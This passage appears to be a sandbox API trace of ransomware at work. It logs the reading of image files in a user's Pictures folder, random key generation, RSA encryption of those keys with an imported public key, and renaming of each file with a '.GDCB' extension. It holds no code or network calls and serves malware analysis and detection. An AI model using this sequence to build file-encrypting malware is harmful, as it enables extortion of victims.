VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.256] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.256] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0x140ae, lpOverlapped=0x0) returned 1 [0142.268] VirtualAlloc (lpAddress=0x0, dwSize=0x140b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.273] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ArQS.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\arqs.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ArQS.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\arqs.jpg.gdcb")) returned 1 [0142.274] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0142.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.275] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0142.275] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0142.276] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0142.277] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.277] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.277] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0142.277] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.277] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0142.281] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x37d540) returned 1 [0142.281] CryptGetKeyParam (in: hKey=0x37d540, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0142.281] CryptEncrypt (in: hKey=0x37d540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0142.281] GetLastError () returned 0x0 [0142.281] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.281] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0142.285] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x37d380) returned 1 [0142.285] CryptGetKeyParam (in: hKey=0x37d380, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0142.285] CryptEncrypt (in: hKey=0x37d380, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0142.286] GetLastError () returned 0x0 [0142.286] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.286] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bemI0XiX.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bemi0xix.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0142.286] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.286] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.286] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0xcd3a, lpOverlapped=0x0) returned 1 [0142.295] VirtualAlloc (lpAddress=0x0, dwSize=0xcd40, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.299] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bemI0XiX.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bemi0xix.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\bemI0XiX.png.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\bemi0xix.png.gdcb")) returned 1 [0142.300] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.300] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.300] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.300] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.304] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0142.304] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0142.304] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0142.304] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0142.309] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0142.311] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.311] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.311] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.311] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0142.312] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.312] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.312] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.312] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.312] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.316] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d680) returned 1 [0142.316] CryptGetKeyParam (in: hKey=0x37d680, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.316] CryptEncrypt (in: hKey=0x37d680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.316] GetLastError () returned 0x0 [0142.316] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.316] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0142.320] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d740) returned 1 [0142.320] CryptGetKeyParam (in: hKey=0x37d740, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.320] CryptEncrypt (in: hKey=0x37d740, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.320] GetLastError () returned 0x0 [0142.320] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.320] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\7dro.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\7dro.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.321] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.321] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.321] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x1015c, lpOverlapped=0x0) returned 1 [0142.333] VirtualAlloc (lpAddress=0x0, dwSize=0x10160, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.338] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\7dro.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\7dro.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\7dro.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\7dro.gif.gdcb")) returned 1 [0142.339] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0142.340] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.340] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.340] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.340] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.340] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.341] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.341] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.341] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.341] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.341] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.345] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d780) returned 1 [0142.345] CryptGetKeyParam (in: hKey=0x37d780, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.345] CryptEncrypt (in: hKey=0x37d780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.345] GetLastError () returned 0x0 [0142.345] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.345] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.349] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37df00) returned 1 [0142.349] CryptGetKeyParam (in: hKey=0x37df00, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.349] CryptEncrypt (in: hKey=0x37df00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.350] GetLastError () returned 0x0 [0142.350] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.350] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\CJbH8HUSxEjPL.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\cjbh8husxejpl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.350] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.350] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.350] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x16022, lpOverlapped=0x0) returned 1 [0142.362] VirtualAlloc (lpAddress=0x0, dwSize=0x16030, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.368] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\CJbH8HUSxEjPL.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\cjbh8husxejpl.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\CJbH8HUSxEjPL.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\cjbh8husxejpl.bmp.gdcb")) returned 1 [0142.369] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.370] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.370] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.370] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.370] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.370] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.371] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.371] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.371] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.371] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.375] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37d980) returned 1 [0142.375] CryptGetKeyParam (in: hKey=0x37d980, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.375] CryptEncrypt (in: hKey=0x37d980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.375] GetLastError () returned 0x0 [0142.375] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.375] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.380] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37de40) returned 1 [0142.380] CryptGetKeyParam (in: hKey=0x37de40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.380] CryptEncrypt (in: hKey=0x37de40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.380] GetLastError () returned 0x0 [0142.380] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.380] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\ku4nJ2ON.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\ku4nj2on.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.381] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.381] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.381] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x6804, lpOverlapped=0x0) returned 1 [0142.397] VirtualAlloc (lpAddress=0x0, dwSize=0x6810, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.401] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\ku4nJ2ON.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\ku4nj2on.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\ku4nJ2ON.png.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\ku4nj2on.png.gdcb")) returned 1 [0142.402] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.403] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.403] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.403] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.403] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.403] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.405] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.405] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.405] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.405] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecfd0) returned 1 [0142.409] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37da80) returned 1 [0142.409] CryptGetKeyParam (in: hKey=0x37da80, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.409] CryptEncrypt (in: hKey=0x37da80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.409] GetLastError () returned 0x0 [0142.409] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0142.409] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0142.414] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37db40) returned 1 [0142.414] CryptGetKeyParam (in: hKey=0x37db40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.414] CryptEncrypt (in: hKey=0x37db40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0142.415] GetLastError () returned 0x0 [0142.415] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0142.415] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\xxlpD7In_.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\xxlpd7in_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.415] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0142.415] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0142.415] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0xe7f2, lpOverlapped=0x0) returned 1 [0142.427] VirtualAlloc (lpAddress=0x0, dwSize=0xe800, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0142.431] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\xxlpD7In_.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\xxlpd7in_.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\M53SLY\\xxlpD7In_.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m53sly\\xxlpd7in_.gif.gdcb")) returned 1 [0142.433] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.434] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.434] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0142.434] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.434] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0142.435] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0142.435] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0142.435] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0142.435] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.436] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.443] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dd40) returned 1 [0142.443] CryptGetKeyParam (in: hKey=0x37dd40, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0142.443] CryptEncrypt (in: hKey=0x37dd40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0142.443] GetLastError () returned 0x0 [0142.443] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0142.443] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0142.447] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x37dbc0) returned 1 [0142.447] CryptGetKeyParam (in: hKey=0x37dbc0, dwParam=0x8, pbData=0x285f07c, 